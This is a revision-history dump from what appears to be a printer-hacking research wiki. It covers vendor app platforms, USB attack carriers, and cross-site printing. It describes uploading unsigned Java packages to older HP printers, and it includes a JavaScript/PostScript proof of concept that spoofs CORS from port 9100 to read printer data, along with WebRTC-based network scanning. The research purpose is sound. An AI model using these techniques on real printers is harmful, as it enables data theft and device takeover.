In the recent years, printer vendors have started to introduce the '''possibility to install custom software on their devices'''. The format of such ‘printer apps’ is proprietary and SDKs are not available to the public. The feature of writing customized software which runs on printers was intended and is reserved for resellers and contractors, not for end-users. Hereby a printer fleet can be adapted to the special needs and business processes of a company; document solution providers can easily integrate printers into their management software. One popular example is ''NSi AutoStore'' <ref>''[http://www.notablesolutions.com/products/nsi-autostore/ NSi AutoStore]'', Nuance Communications, Inc.</ref> which can be installed on many MFPs and automatically uploads scanned or copied documents to predefined locations. Obviously, the feature to run custom code on a printer device is a potential security thread. Furthermore code signing of software packages is potentially harder than it is for [[Firmware updates|firmware]] as software is not only written by the printer manufacturer but by a broader range of developers who need to be in possession of the secret key to sign their software. Therefore it is logical to include the secret key in SDKs which are protected by being exclusively available from developer platforms. This article is an effort to systematically gather information on vendor-specific software platforms/SDKs.

== Vendors ==
In the following a rough outline on the software platforms provided by major printer vendors to extend functionality of their devices is given.

=== HP (Chai/OXP) ===

HP introduced their ‘Chai Appliance Platform’ platform in 1999 to run Java applications on LaserJet printers. While an SDK had been open to the public at first <ref>''[https://www.heise.de/newsticker/meldung/Java-API-fuer-HP-Drucker-54026.html Java API für HP-Drucker]'', heise online, 2001</ref>, access was later restricted to members of HP's developer network. Chai servlets which come as <code>.jar</code> files which originally needed to be certified and signed by HP before they would be accepted by a printer device. <ref name="phenoelit2002embedded">''Attacking Networked Embedded Devices'', Black Hat USA, FX and FtR of Phenoelit, 2002</ref> discovered a flaw in the deployment process: By installing ''EZloader'' – an alternative loader software provided by HP which had already been signed – they were able to upload and run their own, unsigned Java packages. As it seems, code signing was completely dropped by HP for later Chai versions: <ref name="mueller2016printers">''Exploiting Network Printers'', J. Müller, 2016, p. 59</ref> were able to write and execute a proof-of-concept printer malware which listens on port 9100 and uploads incoming documents to an FTP server before printing them. Their code is based on <ref>''Distribuição Balanceada de Jobs em uma Rede de Impressoras'', L. Waechter, 2005</ref> who extended the device to support load-balancing and included the required SDK files and proprietary Java libraries in their demonstration. With the libraries, arbitrary Java code can be complied and executed on older HP LaserJets by uploading the <code>.jar</code> files to a ‘hidden’ URL: <code>http://printer/hp/device/this.loader</code>. This attack can be carried out if no password has yet been set for the embedded web server. Otherwise, the password must first be retrieved from <code>/dev/rdsk_jdi_cfg0</code> with PostScript (see [[file system access]]) or bypassed by resetting the device to [[factory defaults]]. A web attacker can upload the <code>.jar</code> file using [https://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF] if the victim is currently logged into the printer's embedded web server. For newer devices, HP uses the web services based ‘Open Extensibility Platform’ ([https://developers.hp.com/oxp/ OXP]) instead of Chai of which no SDK is publicly available.

=== Canon (MEAP) ===

The ‘Multifunctional Embedded Application Platform’ ([http://www.developersupport.canon.com/faq/335#t335n18 MEAP]) is a Java-based software platform introduced by Canon in 2003 for their imageRunner series and extended to web services in 2010. Third party developers can obtain the MEAP [http://developersupport.canon.com/content/meap-sdk-0 SDK] for a fee of ''$5,000'' which is certainly out of scope for research purposes.

=== Xerox/Dell (EIP) ===

The ‘Extensible Interface Platform’ ([http://www.office.xerox.com/eip/enus.html EIP]) <ref>''[http://www.it-executive.nl/images/downloads/Extensible%20Interface.pdf From Peripheral To Platform: MFP Software Development Tools and Xerox's Extensible Interface Platform]'', B. Bissett, 2016</ref> was announced in 2006 by Xerox for various MFPs. The architecture – which is also supported by a few rebadged Dell devices – is based on web services technology. The [http://www.office.xerox.com/eip/enus.html SDK] is freely available for registered developers.

=== Brother (BSI) ===

The ‘Brother Solutions Interface’ ([https://www.brother-usa.com/lp/civ/bsi.aspx BSI]) is an XML-based web architecture launched in 2012 for scanners, copiers and printers. Access to the [https://www.brother-usa.com/lp/civ/home.aspx SDK] is available to licensed developers.

=== Lexmark (eSF) ===

The ‘Embedded Solution Framework’ ([http://www.lexmark-emea.com/usa/BSD_solution_catalouge.pdf eSF]) was launched in 2006 for Lexmark MFPs. The SDK to develop Java applications is reserved for ‘specially qualified partners’. According to <ref>''[http://media.lexmark.com/www/doc/en_US/Security_White_Paper_Final_Q12014.pdf Security Features of Lexmark Multi-Function and Single Function Printers]'', Lexmark International, 2013, p. 6</ref> ‘these applications must be digitally signed by Lexmark before being adopted’ using 2048-bit RSA signatures.

=== Samsung (XOA) ===

The ‘eXtensible Open Architecture’ ([http://samsungprintingsolutions.com/2015/02/can-samsungs-extensible-open-architecture-xoa/ XOA]) was introduced by Samsung in 2008 and comes in two flavours: the XOA-E Java virtual machine and the web services based XOA-Web. The [http://xoapartnerportal.com/ SDK] is only available to Samsung resellers.

=== Ricoh (ESA) ===

The ‘Embedded Software Architecture’ ([https://www.ricoh.com/esa/ ESA]) <ref>''[http://ricoh.com/esa/pdf/white_letter.pdf White Paper: Embedded Software Architecture SDK]'', Ricoh Company, Ltd., 2014</ref> was launched by Ricoh in 2004. The Java based [http://www.ricoh-developer.com/content/device-sdk-type-j-sdkj-overview SDK/J] is available to developers after a registration.

=== Kyocera/Utax (HyPAS) ===

The ‘Hybrid Platform for Advanced Solutions’ ([http://usa.kyoceradocumentsolutions.com/americas/jsp/Kyocera/hypas_overview.jsp HyPAS]) <ref>''[http://www.officeproductnews.net/sites/default/files/imce/KyoceraWhitepaper_0.pdf Kyocera's HyPAS Technology – A Whitepaper]'', Kyocera Corp., 2013</ref> has been released by Kyocera in 2008. Applications are based either on Java or on web services. The [https://www.kyoceradocumentsolutions.eu/index/document_solutions/HyPAS/hypas_developer_partner.html SDK] is only available for members of the ‘HyPAS Development Partner Programme’ and applications have to be approved by Kyocera.

=== Konica Minolta (bEST) ===

The ‘bizhub Extended Solution Technology’ ([https://best.kmbs.us/ bEST]) <ref>''[http://www.biz.konicaminolta.com/technologies/best/pdf/bEST_Whitepaper.pdf Konica Minolta's bizhub Extended Solution Technology (bEST) Software Development Platform for MFPs]'', B. Bissett, 2009</ref> which is based on web services was introduced by Konica Minolta in 2009. Access to the [https://best.kmbs.us/pages/levels.php SDK] requires ‘platinum membership level’ in the developer program for a fee of ''$4,000'' which is out of scope for independent researchers.

=== Toshiba (e-BRIDGE) ===

The ‘e-BRIDGE Open Platform’ ([http://www.estudio.com.sg/solutions_ebridge.aspx e-BRIDGE]) was released by Toshiba in 2008 to customize their high-end MFPs based on web services technology. An SDK is not available to the general public.

=== Sharp (OSA) ===

The ‘Open Systems Architecture’ ([http://siica.sharpusa.com/Document-Systems/Sharp-OSA OSA]) <ref>''[http://www.kelo-kopiertechnik.de/uploads/prospekte/loesungen/Prospekt OSA.pdf Sharp OSA – Informationen für Sharp Fachhändler]'', Sharp K.K., 2009</ref> was announced by Sharp in 2004. The [http://sharp-partners.com/us/PartnerPrograms/DeveloperProgram/tabid/722/Default.aspx SDK] used to develop web services is fee-based and applications need to be validated by Sharp before they can be installed on an MFP.

=== Oki (sXP) ===

The ‘smart eXtendable Platform’ ([http://www.oki.com/en/press/2014/09/z14053e.html sXP]) <ref>''[http://www.oki.com/en/otr/2016/n227/pdf/otr-227-R05.pdf Office Solution with Multifunction Printer]'', N. Toshiyuki and T. Ito, Oki Electric Industry Co., Ltd., 2016</ref> which is based on web services was launched by Oki Data in 2013 for their MFP devices. Oki does not publish any information regarding an official developer program or publicly available SDK.

== Results ==

On older HP laser printers, arbitrary Java bytecode can be executed as demonstrated by <ref name="phenoelit2002embedded"/> and <ref name="mueller2016printers"/>. Security is based on the password of the embedded web server which can be easily readout with PostScript or bypassed by restoring factory defaults. It is hard to make a reasoned statement on the security of other software platforms because of lacking access to the SDK and/or proper technical documentation. A comparison of platforms, applied technologies and – where known – software package deployment procedures is given below:

{| class="wikitable" style="text-align:center"
|-
! Vendor !! Platform !! Embedded Java !! Web services !! Deployment
|-
| style="text-align:left;" | HP
| style="text-align:left;" | Chai/OXP || ✔ || ✔
| style="text-align:left;" | web server
|-
| style="text-align:left;" | Xerox/Dell
| style="text-align:left;" | EIP || || ✔
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Canon
| style="text-align:left;" | MEAP || ✔ || ✔
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Brother
| style="text-align:left;" | BSI || || ✔
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Lexmark
| style="text-align:left;" | eSF || ✔ ||
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Samsung
| style="text-align:left;" | XOA || ✔ || ✔
| style="text-align:left;" | web server
|-
| style="text-align:left;" | Ricoh
| style="text-align:left;" | ESA || ✔ ||
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Kyocera/Utax
| style="text-align:left;" | HyPAS || ✔ || ✔
| style="text-align:left;" | USB drive
|-
| style="text-align:left;" | Konica Minolta
| style="text-align:left;" | bEST || || ✔
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Toshiba
| style="text-align:left;" | e-Bridge || || ✔
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Sharp
| style="text-align:left;" | OSA || || ✔
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Oki
| style="text-align:left;" | sXP || || ✔
| style="text-align:left;" | unknown
|-
|}

'''How to test for this attack?'''

Obtain an SDK and write your own proof-of-concept application or find a ‘printer app’ which already does what you want (for example, automatically upload scanned documents to FTP). Also check which protection mechanisms exist to install custom software on the device.

'''Who can perform this attack?'''

Dependend on how software packages are deployed.

----

Software packages

2017-01-28T17:20:59Z

Admin:

In the recent years, printer vendors have started to introduce the '''possibility to install custom software on their devices'''. The format of such ‘printer apps’ is proprietary and SDKs are not available to the public. The feature of writing customized software which runs on printers was intended and is reserved for resellers and contractors, not for end-users. Hereby a printer fleet can be adapted to the special needs and business processes of a company; document solution providers can easily integrate printers into their management software. One popular example is ''NSi AutoStore'' <ref>''[http://www.notablesolutions.com/products/nsi-autostore/ NSi AutoStore]'', Nuance Communications, Inc.</ref> which can be installed on many MFPs and automatically uploads scanned or copied documents to predefined locations. Obviously, the feature to run custom code on a printer device is a potential security thread. Furthermore code signing of software packages is potentially harder than it is for firmware as software is not only written by the printer manufacturer but by a broader range of developers who need to be in possession of the secret key to sign their software. Therefore it is logical to include the secret key in SDKs which are protected by being exclusively available from developer platforms. This article is an effort to systematically gather information on vendor-specific software platforms/SDKs.

== Vendors ==
In the following a rough outline on the software platforms provided by major printer vendors to extend functionality of their devices is given.

=== HP (Chai/OXP) ===

HP introduced their ‘Chai Appliance Platform’ platform in 1999 to run Java applications on LaserJet printers. While an SDK had been open to the public at first <ref>''[https://www.heise.de/newsticker/meldung/Java-API-fuer-HP-Drucker-54026.html Java API für HP-Drucker]'', heise online, 2001</ref>, access was later restricted to members of HP's developer network. Chai servlets which come as <code>.jar</code> files which originally needed to be certified and signed by HP before they would be accepted by a printer device. <ref name="phenoelit2002embedded">''Attacking Networked Embedded Devices'', Black Hat USA, FX and FtR of Phenoelit, 2002</ref> discovered a flaw in the deployment process: By installing ''EZloader'' – an alternative loader software provided by HP which had already been signed – they were able to upload and run their own, unsigned Java packages. As it seems, code signing was completely dropped by HP for later Chai versions: <ref name="mueller2016printers">''Exploiting Network Printers'', J. Müller, 2016, p. 59</ref> were able to write and execute a proof-of-concept printer malware which listens on port 9100 and uploads incoming documents to an FTP server before printing them. Their code is based on <ref>''Distribuição Balanceada de Jobs em uma Rede de Impressoras'', L. Waechter, 2005</ref> who extended the device to support load-balancing and included the required SDK files and proprietary Java libraries in their demonstration. With the libraries, arbitrary Java code can be complied and executed on older HP LaserJets by uploading the <code>.jar</code> files to a ‘hidden’ URL: <code>http://printer/hp/device/this.loader</code>. This attack can be carried out if no password has yet been set for the embedded web server. Otherwise, the password must first be retrieved from <code>/dev/rdsk_jdi_cfg0</code> with PostScript (see [[file system access]]) or bypassed by resetting the device to [[factory defaults]]. A web attacker can upload the <code>.jar</code> file using [https://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF] if the victim is currently logged into the printer's embedded web server. For newer devices, HP uses the web services based ‘Open Extensibility Platform’ ([https://developers.hp.com/oxp/ OXP]) instead of Chai of which no SDK is publicly available.

=== Canon (MEAP) ===

The ‘Multifunctional Embedded Application Platform’ ([http://www.developersupport.canon.com/faq/335#t335n18 MEAP]) is a Java-based software platform introduced by Canon in 2003 for their imageRunner series and extended to web services in 2010. Third party developers can obtain the MEAP [http://developersupport.canon.com/content/meap-sdk-0 SDK] for a fee of ''$5,000'' which is certainly out of scope for research purposes.

=== Xerox/Dell (EIP) ===

The ‘Extensible Interface Platform’ ([http://www.office.xerox.com/eip/enus.html EIP]) <ref>''[http://www.it-executive.nl/images/downloads/Extensible%20Interface.pdf From Peripheral To Platform: MFP Software Development Tools and Xerox's Extensible Interface Platform]'', B. Bissett, 2016</ref> was announced in 2006 by Xerox for various MFPs. The architecture – which is also supported by a few rebadged Dell devices – is based on web services technology. The [http://www.office.xerox.com/eip/enus.html SDK] is freely available for registered developers.

=== Brother (BSI) ===

The ‘Brother Solutions Interface’ ([https://www.brother-usa.com/lp/civ/bsi.aspx BSI]) is an XML-based web architecture launched in 2012 for scanners, copiers and printers. Access to the [https://www.brother-usa.com/lp/civ/home.aspx SDK] is available to licensed developers.

=== Lexmark (eSF) ===

The ‘Embedded Solution Framework’ ([http://www.lexmark-emea.com/usa/BSD_solution_catalouge.pdf eSF]) was launched in 2006 for Lexmark MFPs. The SDK to develop Java applications is reserved for ‘specially qualified partners’. According to <ref>''[http://media.lexmark.com/www/doc/en_US/Security_White_Paper_Final_Q12014.pdf Security Features of Lexmark Multi-Function and Single Function Printers]'', Lexmark International, 2013, p. 6</ref> ‘these applications must be digitally signed by Lexmark before being adopted’ using 2048-bit RSA signatures.

=== Samsung (XOA) ===

The ‘eXtensible Open Architecture’ ([http://samsungprintingsolutions.com/2015/02/can-samsungs-extensible-open-architecture-xoa/ XOA]) was introduced by Samsung in 2008 and comes in two flavours: the XOA-E Java virtual machine and the web services based XOA-Web. The [http://xoapartnerportal.com/ SDK] is only available to Samsung resellers.

=== Ricoh (ESA) ===

The ‘Embedded Software Architecture’ ([https://www.ricoh.com/esa/ ESA]) <ref>''[http://ricoh.com/esa/pdf/white_letter.pdf White Paper: Embedded Software Architecture SDK]'', Ricoh Company, Ltd., 2014</ref> was launched by Ricoh in 2004. The Java based [http://www.ricoh-developer.com/content/device-sdk-type-j-sdkj-overview SDK/J] is available to developers after a registration.

=== Kyocera/Utax (HyPAS) ===

The ‘Hybrid Platform for Advanced Solutions’ ([http://usa.kyoceradocumentsolutions.com/americas/jsp/Kyocera/hypas_overview.jsp HyPAS]) <ref>''[http://www.officeproductnews.net/sites/default/files/imce/KyoceraWhitepaper_0.pdf Kyocera's HyPAS Technology – A Whitepaper]'', Kyocera Corp., 2013</ref> has been released by Kyocera in 2008. Applications are based either on Java or on web services. The [https://www.kyoceradocumentsolutions.eu/index/document_solutions/HyPAS/hypas_developer_partner.html SDK] is only available for members of the ‘HyPAS Development Partner Programme’ and applications have to be approved by Kyocera.

=== Konica Minolta (bEST) ===

The ‘bizhub Extended Solution Technology’ ([https://best.kmbs.us/ bEST]) <ref>''[http://www.biz.konicaminolta.com/technologies/best/pdf/bEST_Whitepaper.pdf Konica Minolta's bizhub Extended Solution Technology (bEST) Software Development Platform for MFPs]'', B. Bissett, 2009</ref> which is based on web services was introduced by Konica Minolta in 2009. Access to the [https://best.kmbs.us/pages/levels.php SDK] requires ‘platinum membership level’ in the developer program for a fee of ''$4,000'' which is out of scope for independent researchers.

=== Toshiba (e-BRIDGE) ===

The ‘e-BRIDGE Open Platform’ ([http://www.estudio.com.sg/solutions_ebridge.aspx e-BRIDGE]) was released by Toshiba in 2008 to customize their high-end MFPs based on web services technology. An SDK is not available to the general public.

=== Sharp (OSA) ===

The ‘Open Systems Architecture’ ([http://siica.sharpusa.com/Document-Systems/Sharp-OSA OSA]) <ref>''[http://www.kelo-kopiertechnik.de/uploads/prospekte/loesungen/Prospekt OSA.pdf Sharp OSA – Informationen für Sharp Fachhändler]'', Sharp K.K., 2009</ref> was announced by Sharp in 2004. The [http://sharp-partners.com/us/PartnerPrograms/DeveloperProgram/tabid/722/Default.aspx SDK] used to develop web services is fee-based and applications need to be validated by Sharp before they can be installed on an MFP.

=== Oki (sXP) ===

The ‘smart eXtendable Platform’ ([http://www.oki.com/en/press/2014/09/z14053e.html sXP]) <ref>''[http://www.oki.com/en/otr/2016/n227/pdf/otr-227-R05.pdf Office Solution with Multifunction Printer]'', N. Toshiyuki and T. Ito, Oki Electric Industry Co., Ltd., 2016</ref> which is based on web services was launched by Oki Data in 2013 for their MFP devices. Oki does not publish any information regarding an official developer program or publicly available SDK.

== Results ==

On older HP laser printers, arbitrary Java bytecode can be executed as demonstrated by <ref name="phenoelit2002embedded"/> and <ref name="mueller2016printers"/>. Security is based on the password of the embedded web server which can be easily readout with PostScript or bypassed by restoring factory defaults. It is hard to make a reasoned statement on the security of other software platforms because of lacking access to the SDK and/or proper technical documentation. A comparison of platforms, applied technologies and – where known – software package deployment procedures is given below:

{| class="wikitable" style="text-align:center"
|-
! Vendor !! Platform !! Embedded Java !! Web services !! Deployment
|-
| style="text-align:left;" | HP
| style="text-align:left;" | Chai/OXP || ✔ || ✔
| style="text-align:left;" | web server
|-
| style="text-align:left;" | Xerox/Dell
| style="text-align:left;" | EIP || || ✔
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Canon
| style="text-align:left;" | MEAP || ✔ || ✔
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Brother
| style="text-align:left;" | BSI || || ✔
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Lexmark
| style="text-align:left;" | eSF || ✔ ||
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Samsung
| style="text-align:left;" | XOA || ✔ || ✔
| style="text-align:left;" | web server
|-
| style="text-align:left;" | Ricoh
| style="text-align:left;" | ESA || ✔ ||
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Kyocera/Utax
| style="text-align:left;" | HyPAS || ✔ || ✔
| style="text-align:left;" | USB drive
|-
| style="text-align:left;" | Konica Minolta
| style="text-align:left;" | bEST || || ✔
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Toshiba
| style="text-align:left;" | e-Bridge || || ✔
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Sharp
| style="text-align:left;" | OSA || || ✔
| style="text-align:left;" | unknown
|-
| style="text-align:left;" | Oki
| style="text-align:left;" | sXP || || ✔
| style="text-align:left;" | unknown
|-
|}

'''How to test for this attack?'''

Obtain an SDK and write your own proof-of-concept application or find a ‘printer app’ which already does what you want (for example, automatically upload scanned documents to FTP). Also check which protection mechanisms exist to install custom software on the device.

'''Who can perform this attack?'''

Dependend on how software packages are deployed.

----

USB drive or cable

2017-01-28T16:50:40Z

Admin:

[[File:USB-deployment-channel.png|thumb|160px|Printing over USB]]

Data can be send to and received from a local printer by [https://en.wikipedia.org/wiki/USB USB] or [https://en.wikipedia.org/wiki/IEEE_1284 parallel] cables. Both channels are supported by [[PRET]] to communicate with the device. In addition, printers and MFPs often ship with ''Type-A'' USB ports which allows users to print directly form a USB drive. While plugged-in USB drives do not offer a bidirectional channel, their usage in a crowded copy room may seem less conspicuous. Obviously, exploiting USB printers requires the attacker to gain physical access to the device. However, it is not completely unrealistic for most institutions and companies. Gaining physical access to printer can generally be considered as less hard than it is for other network components like servers or workstations. This is because printers are usually shared by and accessible to a whole department. Sneaking into an unlocked copy room and launching a malicious print job from USB stick is only a matter of seconds. Further real-world scenarios include copy shops or publicly available printers at schools and universities.  

'' '''Is your copy room always locked?''' ''

→ ''Related aricles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]]

Cross-site printing

2017-01-28T16:47:54Z

Admin:

Cross-site printing (XSP) attacks empower a web attacker to access the printer device as demonstrated by <ref>''[http://helpnetsecurity.com/dl/articles/CrossSitePrinting.pdf Cross Site Printing]'', A. Weaver, 2007</ref> who use a hidden Iframe to send HTTP POST requests to port 9100/tcp of a printer within the victim's internal network. The HTTP header is either printed as plain text or discarded based on the printer's settings. The POST data however can contain arbitrary print jobs like [[PostScript]] or [[PJL]] commands to be interpreted. In the following, the idea of cross-site printing is adapted and improved which enables a web attacker to perform most attacks described in wiki obtaining captured print jobs, using the victim's web browser acts as a carrier.

[[File:XSP-deployment-channel.png|420px|Deployment of (potentially malicious) print jobs with XSP]]

== Enhanced cross-site printing ==

Instead of Iframes, we use XMLHttpRequest (XHR) JavaScript objects as defined in <ref>''[https://www.w3.org/TR/XMLHttpRequest/ The XMLHttpRequest Object]'', A. van Kesteren and D. Jackson, W3C, Working Draft, 2007</ref> to perform HTTP POST requests to internal printers. A limitation of the cross-site printing approach discussed so far is that data can only be send to the device, not received because of the same-origin policy <ref>''[https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy The Same Origin Policy]'', J. Ruderman, 2001</ref>. This opts out all information disclosure attacks. To bend the restrictions of the same-origin policy, cross-origin resource sharing (CORS) <ref>''[https://www.w3.org/TR/cors/ Cross-Origin Resource Sharing]'', A. van Kesteren and others, W3C, Working Draft, 2010</ref> can be used – if the web server explicitly allows it by sending a special HTTP header field. In the scenario of cross-site printing, however, we have full control of what the requested ‘web server’ – which actually is a printer [https://en.wikipedia.org/wiki/Raster_image_processor RIP] accessed over port 9100/tcp – sends back to the browser. By using PostScript output commands we can simply emulate an HTTP server running on port 9100/tcp and define our own HTTP header to be responded – including arbitrary CORS <code>Access-Control-Allow-Origin</code> fields which instruct the web browser to allow JavaScript access to this resource and therefore punch a whole into the same-origin policy. A schematic overview of the attack is given below:

[[File:Cross-site-printing.png|900px|Advanced cross-site printing with CORS spoofing]]

In such an enhanced variant of XSP – combined with CORS spoofing – a web attacker has full access to the HTTP response which allows her to extract arbitrary information like captured print jobs from the printer device. A proof-of-concept JavaScript snipplet is shown below:

<syntaxhighlight lang=postscript>
job = "\x1B%-12345X\r\n"
+ "%!\r\n"
+ "(HTTP/1.0 200 OK\\n) print\r\n"
+ "(Server: PostScript HTTPD\\n) print\r\n"
+ "(Access-Control-Allow-Origin: *\\n) print\r\n"
+ "(Connection: close\\n) print\r\n"
+ "(Content-Length: ) print\r\n"
+ "product dup length dup string cvs print\r\n"
+ "(\\n\\n) print\r\n"
+ "print\r\n"
+ "(\\n) print flush\r\n"
+ "\x1B%-12345X\r\n";

var x = new XMLHttpRequest();
x.open("POST", "http://printer:9100");
x.send(job);
x.onreadystatechange = function() {
if (x.readyState == 4)
alert(x.responseText);
};
</syntaxhighlight>

== Limitations of cross-site printing ==

Note that [[PCL]] as page description language is not applicable for CORS spoofing because it only allows one single number to be echoed. [[PJL]] likewise cannot be used because unfortunately it prepends <code>@PJL ECHO</code> to all echoed strings, which makes it impossible to simulate a valid HTTP header. This however does not mean that enhanced XSP attacks are limited to [[PostScript]] jobs: PostScript can be used to respond with a spoofed HTTP header and the [[UEL]] can further be invoked to switch the printer language. This way a web attacker can also obtain the results for PJL commands. Two implementation pitfalls exist which deserve to be mentioned: First, a correct <code>Content-Length</code> for the data to be responded needs determined with PostScript. If the attacker cannot predict the overall size of the response and chunked encoding as well is not an option, she needs to set a very high value and use padding. Second, adding the <code>Connection: close</code> header field is important, otherwise HTTP/1.1 connections are kept alive until either the web client or the printer device triggers a timeout, which means the printer will not be accessible for some time.

If the printer device supports plain text printing the HTTP request header of the XHR is printed out as hard copy – including the <code>Origin</code> header field containing the URL that invoked the malicious JavaScript, thus making it hard for an attacker to stay silent. This is unavoidable, as we do not gain control over the printer – and under some circumstances can disable printing functionality – until the HTTP body is processed and the HTTP header has already been interpreted as plain text by the printer device. If reducing noise is a priority, the attacker can however try to first disable printing functionality with proprietary PJL commands as proposed in [[Document processing#PJL_jobmedia|PJL jobmedia]] using other potential XSP channels like IPP, LPD, FTP or the printer's embedded web server. While all protocols could successfully be tested to deploy print jobs using variants of cross-protocol scripting as described by <ref>''[http://www.remote.org/jochen/sec/hfpa/hfpa.pdf The HTML Form Protocol Attack]'', J. Topf, BugTraq posting, 2001</ref> and <ref>''[https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/inter-protocol_exploitation.pdf Inter-Protocol Exploitation]'', W. Alcorn, NGSSoftware Insight Security Research (NISR), 2007</ref> they have some drawbacks beyond not providing feedback using spoofed CORS headers:

* Cross-protocol access to LPD and FTP ports is blocked by various web browsers
* Parameters for direct printing over the embedded web server are model-specific
* The IPP standard requires the <code>Content-type</code> for HTTP POST requests being set to <code>application/ipp</code> <ref>''[https://tools.ietf.org/html/rfc2910 RFC2910 – Internet Printing Protocol/1.1: Encoding and Transport]'', R. Herriot, 2000</ref> which cannot be done with XHR objects – it is however up to the implementation to actually care about incorrect types

A comparison of cross-site printing channels is given in below:

{| class="wikitable" style="text-align:center"
|+ Comparison of cross-site printing channels
|-
! Method !! No Feedback !! Unsolicited printouts !! Standardized !! Blocked by
|-
| Raw || || ✔ || ✔ ||
|-
| Web || ✔ || || ||
|-
| IPP || ✔ || || ✔ ||
|-
| LPD || ✔ || || ✔ || FF, Ch, Op
|-
| FTP || ✔ || || ✔ || FF, Ch, Op, IE
|-
|}

One major problem of XSP is to find out the correct address or hostname of the printer. Our approach is to abuse WebRTC <ref>''[https://www.w3.org/TR/webrtc/ WebRTC 1.0: Real-time Communication Between Browsers]'', D. Bergkvist and D. Burnett and C. Jennings, W3C, Working Draft, 2014</ref> which is implemented in most modern browsers and has the feature to enumerate IP addresses for local network interfaces. Given the local IP address, XHR objects are further used to open connections to port 9100/tcp for all 253 remaining addresses to retrieve the printer product name using PostScript and CORS spoofing which only takes seconds in our tests. If the printer is on the same subnet as the victim's host its address can be detected solely using JavaScript. WebRTC is in development for Safari and supported by current versions of Firefox, Chrome and Microsoft Edge. Internet Explorer has no WebRTC support, but VBScript and Java can likewise be used to leak the local IP address. If the address of the local interface cannot be retrieved, we apply an intelligent brute-force approach: We try to connect to port 80 of the victim's router using XHR objects. For this, a list of 115 default router addresses from various Internet-accessible resources was compiled. If a router is accessible, we scan the subnet for printers as described before.

== Proof-of-concept ==

A proof-of-concept implementation demonstrating that advanced cross-site printing attacks are practical and a real-world threat to companies and institutions is available at [http://hacking-printers.net/xsp/ hacking-printers.net/xsp/]. It was successfully tested on Firefox 48, Chrome 52, Opera 39 and Internet Explorer 10. It is worth noting that the [https://torproject.org/projects/torbrowser.html.en Tor Browser] blocks the attack because it tries to connect to all addresses – including local ones – through the Tor network meaning XSP requests never reach the intranet printer.

→ ''Related aricles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]], [[Port 9100 printing]], [[BeEF]]

----

USB drive or cable

2017-01-28T16:47:08Z

Admin:

[[File:USB-deployment-channel.png|thumb|160px|Printing over USB]]

Data can be send to and received from a local printer by [https://en.wikipedia.org/wiki/USB USB] or [https://en.wikipedia.org/wiki/IEEE_1284 parallel] cables. Both channels are supported by [[PRET]] to communicate with the device. In addition, printers and MFPs often ship with ''Type-A'' USB ports which allows users to print directly form a USB drive. While plugged-in USB drives do not offer a bidirectional channel, their usage in a crowded copy room may seem less conspicuous. Obviously, exploiting USB printers requires the attacker to gain physical access to the device. However, it is not completely unrealistic for most institutions and companies. Gaining physical access to printer can generally be considered as less hard than it is for other network components like servers or workstations. This is because printers are usually shared by and accessible to a whole department. Sneaking into an unlocked copy room and launching a malicious print job from USB stick is only a matter of seconds. Further real-world scenarios include copy shops or publicly available printers at schools and universities.  

'''Is your copy room always locked?'''

→ ''Related aricles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]]

USB drive or cable

2017-01-28T16:47:01Z

Admin:

[[File:USB-deployment-channel.png|thumb|160px|Printing over USB]]

Data can be send to and received from a local printer by [https://en.wikipedia.org/wiki/USB USB] or [https://en.wikipedia.org/wiki/IEEE_1284 parallel] cables. Both channels are supported by [[PRET]] to communicate with the device. In addition, printers and MFPs often ship with ''Type-A'' USB ports which allows users to print directly form a USB drive. While plugged-in USB drives do not offer a bidirectional channel, their usage in a crowded copy room may seem less conspicuous. Obviously, exploiting USB printers requires the attacker to gain physical access to the device. However, it is not completely unrealistic for most institutions and companies. Gaining physical access to printer can generally be considered as less hard than it is for other network components like servers or workstations. This is because printers are usually shared by and accessible to a whole department. Sneaking into an unlocked copy room and launching a malicious print job from USB stick is only a matter of seconds. Further real-world scenarios include copy shops or publicly available printers at schools and universities.  

'''Is your copy room always locked?'''

→ ''Related aricles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]], [[Port 9100 printing]]

Cross-site printing

2017-01-28T16:46:26Z

Admin:

Cross-site printing (XSP) attacks empower a web attacker to access the printer device as demonstrated by <ref>''[http://helpnetsecurity.com/dl/articles/CrossSitePrinting.pdf Cross Site Printing]'', A. Weaver, 2007</ref> who use a hidden Iframe to send HTTP POST requests to port 9100/tcp of a printer within the victim's internal network. The HTTP header is either printed as plain text or discarded based on the printer's settings. The POST data however can contain arbitrary print jobs like [[PostScript]] or [[PJL]] commands to be interpreted. In the following, the idea of cross-site printing is adapted and improved which enables a web attacker to perform most attacks described in wiki obtaining captured print jobs, using the victim's web browser acts as a carrier.

[[File:XSP-deployment-channel.png|420px|Deployment of (potentially malicious) print jobs with XSP]]

== Enhanced cross-site printing ==

